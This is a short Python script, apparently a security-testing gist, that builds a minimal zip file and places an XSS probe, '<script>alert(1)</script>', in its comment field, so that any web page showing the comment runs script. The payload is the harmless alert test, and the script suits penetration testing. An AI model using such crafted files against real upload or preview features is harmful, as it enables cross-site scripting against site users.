Create minimum zip file with an arbitrary comment

makezip.py

#!/usr/bin/env python
# encoding: utf-8
# devnull@libcrack.so
# Sat Oct  8 13:45:22 CEST 2016

import struct

filename = "file.zip"
payload = "<script>alert(1)</script>"

zipcontent  = "\x50\x4b\x05\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
zipcontent += struct.pack("H",len(payload))
zipcontent += payload

print("Creating file {0}".format(filename))
fp = open(filename, 'w+')

print("Writing payload")
fp.write(zipcontent)

print("Closing {0}".format(filename))
fp.close()

print ("Done")